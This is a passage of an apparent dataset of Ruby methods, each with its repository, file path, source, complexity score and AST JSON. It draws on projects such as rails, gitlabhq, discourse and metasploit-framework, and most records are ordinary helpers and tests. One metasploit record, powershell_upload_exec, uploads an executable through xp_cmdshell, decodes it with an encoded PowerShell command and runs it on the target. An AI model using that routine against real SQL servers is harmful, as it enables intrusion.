",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]}","id":"afef3531-ae6b-4144-afd9-f3a10cd48fb3"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/unavailable_domain.rb","start_line":26,"raw_source":"def reset_cache!\n Rails.cache.delete('unavailable_domains')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"str\",\"children\":[\"unavailable_domains\"]}]}]}","id":"51a7ae6c-3dc1-438f-8314-8e8faed60d44"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_strip_tags.rb","start_line":89,"raw_source":"def uses_strip_tags?\n Brakeman.debug \"Finding calls to strip_tags()\"\n\n not tracker.find_call(:target => false, :method => :strip_tags, :nested => true).empty?\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uses_strip_tags?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding calls to strip_tags()\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"strip_tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"empty?\"]},\"!\"]}]}]}","id":"21f5ee93-1138-4e41-b6b6-e8fbb72182eb"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/storage_server_helpers.rb","start_line":170,"raw_source":"def normalize_url(url)\n URI.parse(url).normalize.tap { |u| u.path.squeeze!(\"/\") }.to_s\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"normalize\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"path\"]},\"squeeze!\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},\"to_s\"]}]}","id":"a2f6ca39-2a26-4381-a5e7-febf02084ee3"}
+{"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/stackery_tag_spec.rb","start_line":9,"raw_source":"def generate_tag(input)\n Liquid::Template.register_tag(\"stackery\", StackeryTag)\n Liquid::Template.parse(\"{% stackery #{input} %}\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"register_tag\",{\"type\":\"str\",\"children\":[\"stackery\"]},{\"type\":\"const\",\"children\":[null,\"StackeryTag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% stackery \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]}]}]}","id":"5182c315-337c-4543-a275-68f5fd4d776c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/mssql/client.rb","start_line":606,"raw_source":"def powershell_upload_exec(exe, debug=false)\n # hex converter\n hex = exe.unpack(\"H*\")[0]\n # create random alpha 8 character names\n #var_bypass = rand_text_alpha(8)\n var_payload = rand_text_alpha(8)\n print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n # our payload converter, grabs a hex file and converts it to binary for us through powershell\n h2b = \"$s = gc 'C:\\\\Windows\\\\Temp\\\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\#{var_payload}.exe',$b)\"\n h2b_unicode=Rex::Text.to_unicode(h2b)\n # base64 encode it, this allows us to perform execution through powershell without registry changes\n h2b_encoded = Rex::Text.encode_base64(h2b_unicode)\n print_status(\"Uploading the payload #{var_payload}, please be patient...\")\n idx = 0\n cnt = 500\n while(idx < hex.length - 1)\n mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n idx += cnt\n end\n print_status(\"Converting the payload utilizing PowerShell EncodedCommand...\")\n mssql_xpcmdshell(\"powershell -EncodedCommand #{h2b_encoded}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n print_status(\"Executing the payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n print_status(\"Be sure to cleanup #{var_payload}.exe...\")\n end","complexity_score":32.33,"ast_json":"{\"type\":\"def\",\"children\":[\"powershell_upload_exec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exe\"]},{\"type\":\"optarg\",\"children\":[\"debug\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_payload\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Warning: This module will leave \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe in the SQL Server %TEMP% directory\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$s = gc 'C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\"';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe',$b)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b_unicode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"lvar\",\"children\":[\"h2b\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"h2b_unicode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading the payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\", please be patient...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"cnt\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"lvar\",\"children\":[\"cnt\"]}]}]},{\"type\":\"str\",\"children\":[\">>%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"idx\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cnt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Converting the payload utilizing PowerShell EncodedCommand...\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"powershell -EncodedCommand \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h2b_encoded\"]}]}]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c del %TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]}]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing the payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Be sure to cleanup \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe...\"]}]}]}]}]}","id":"8f0c7ab6-9c2a-4caf-bd39-84d0f12be761"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/generator.rb","start_line":135,"raw_source":"def inject_require(root_file_path: 'lib/rubocop.rb')\n RequireFileInjector.new(source_path: source_path, root_file_path: root_file_path).inject\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_require\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"root_file_path\",{\"type\":\"str\",\"children\":[\"lib/rubocop.rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequireFileInjector\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_path\"]},{\"type\":\"send\",\"children\":[null,\"source_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_file_path\"]},{\"type\":\"lvar\",\"children\":[\"root_file_path\"]}]}]}]},\"inject\"]}]}","id":"81bd5181-aa63-4b20-a4ef-3b354def8118"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/batched_migration_job.rb","start_line":50,"raw_source":"def scope_to(scope)\n define_method(:filter_batch) do |relation|\n instance_exec(relation, &scope)\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"filter_batch\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]}","id":"56b3f899-b98b-4658-97ef-91b1c22efb11"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":83,"raw_source":"def call(_, _, _, _, values)\n @events << values[:sql] if /INSERT/.match?(values[:sql])\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@events\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]}]},null]}]}","id":"223b43b1-133d-4b21-aa57-b6e139b9074a"}
+{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/prefetch_associations_test.rb","start_line":239,"raw_source":"def test_fetch_multi_batch_fetches_first_level_belongs_to_associations\n AssociatedRecord.send(:cache_belongs_to, :item)\n\n @bob_child = @bob.associated_records.create!(name: \"bob child\")\n @fred_child = @fred.associated_records.create!(name: \"fred child\")\n\n # populate the cache entries and associated children ID variables\n AssociatedRecord.fetch_multi(@bob_child.id, @fred_child.id)\n Item.fetch_multi(@bob.id, @fred.id)\n\n assert_memcache_operations(2) do\n @cached_bob_child, @cached_fred_child = AssociatedRecord.fetch_multi(\n @bob_child.id, @fred_child.id, includes: :item\n )\n assert_equal(@bob, @cached_bob_child.fetch_item)\n assert_equal(@fred, @cached_fred_child.fetch_item)\n end\n end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_batch_fetches_first_level_belongs_to_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cache_belongs_to\"]},{\"type\":\"sym\",\"children\":[\"item\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bob_child\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"associated_records\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bob child\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fred_child\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"associated_records\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fred child\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob_child\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred_child\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cached_bob_child\"]},{\"type\":\"ivasgn\",\"children\":[\"@cached_fred_child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob_child\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred_child\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"item\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cached_bob_child\"]},\"fetch_item\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@fred\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cached_fred_child\"]},\"fetch_item\"]}]}]}]}]}]}","id":"d59aca69-67f1-4fc6-9f60-e88271d822c6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/deployments/deployment_presenter.rb","start_line":27,"raw_source":"def web_path\n project_environment_deployment_path(project, environment, deployment)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"web_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_environment_deployment_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"environment\"]},{\"type\":\"send\",\"children\":[null,\"deployment\"]}]}]}","id":"486288f8-742b-4553-95f7-f726dc816a6b"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/notification_spec.rb","start_line":702,"raw_source":"def create_membership_request_notification\n Notification.consolidate_or_create!(\n notification_type: Notification.types[:private_message],\n user_id: user.id,\n data: {\n topic_title: I18n.t(\"groups.request_membership_pm.title\", group_name: group.name),\n original_post_id: post.id,\n }.to_json,\n updated_at: Time.zone.now,\n created_at: Time.zone.now,\n )\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_membership_request_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"consolidate_or_create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"groups.request_membership_pm.title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"id\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]}","id":"c30b4b45-3e06-445c-a373-7065794ff500"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/slack_link_unfurl_service.rb","start_line":73,"raw_source":"def extract_account_id(url)\n account_id_regex = %r{/accounts/(\\d+)}\n match_data = url.match(account_id_regex)\n match_data[1] if match_data\n end","complexity_score":5.43,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_account_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"account_id_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/accounts/(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"account_id_regex\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]}","id":"f38f88fa-980f-4c1f-bb01-c84d67741213"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241015085833_drop_ci_pipelines_config.rb","start_line":6,"raw_source":"def up\n drop_table(:ci_pipelines_config, if_exists: true)\n\n execute(<<~SQL)\n CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(100)}\n PARTITION OF p_ci_pipelines_config FOR VALUES IN (100);\n\n CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(101)}\n PARTITION OF p_ci_pipelines_config FOR VALUES IN (101);\n\n CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(102)}\n PARTITION OF p_ci_pipelines_config FOR VALUES IN (102);\n SQL\n end","complexity_score":6.65,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"ci_pipelines_config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition_name\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_ci_pipelines_config FOR VALUES IN (100);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition_name\",{\"type\":\"int\",\"children\":[101]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_ci_pipelines_config FOR VALUES IN (101);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition_name\",{\"type\":\"int\",\"children\":[102]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_ci_pipelines_config FOR VALUES IN (102);\\n\"]}]}]}]}]}","id":"84dc094a-6675-46f1-91e4-b294a6bc094e"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":339,"raw_source":"def result\n @view.raw @view.render(layout: \"routes/table\") {\n @view.raw @buffer.join(\"\\n\")\n }\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"routes/table\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}","id":"8092c43b-5b02-49ab-b283-296f48064ebf"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/local_client.rb","start_line":235,"raw_source":"def count_storage_du\n output, err, code = Open3.capture3(\"du\", \"-bs\", local_repository_path)\n\n if code == 0 && output =~ /^(\\d+)/\n Regexp.last_match(1).to_i\n else\n raise SystemCallError.new \"'du' exited with non-zero status #{code}: Output was #{err}\"\n end\n rescue SystemCallError => e\n # May be raised when the command is not found.\n # Nothing we can do here.\n Rails.logger.error(\"Counting with 'du' failed with: '#{e.message}'.\" +\n \"Falling back to in-ruby counting.\")\n nil\n end","complexity_score":24.43,"ast_json":"{\"type\":\"def\",\"children\":[\"count_storage_du\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\"]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"lvasgn\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"capture3\",{\"type\":\"str\",\"children\":[\"du\"]},{\"type\":\"str\",\"children\":[\"-bs\"]},{\"type\":\"send\",\"children\":[null,\"local_repository_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]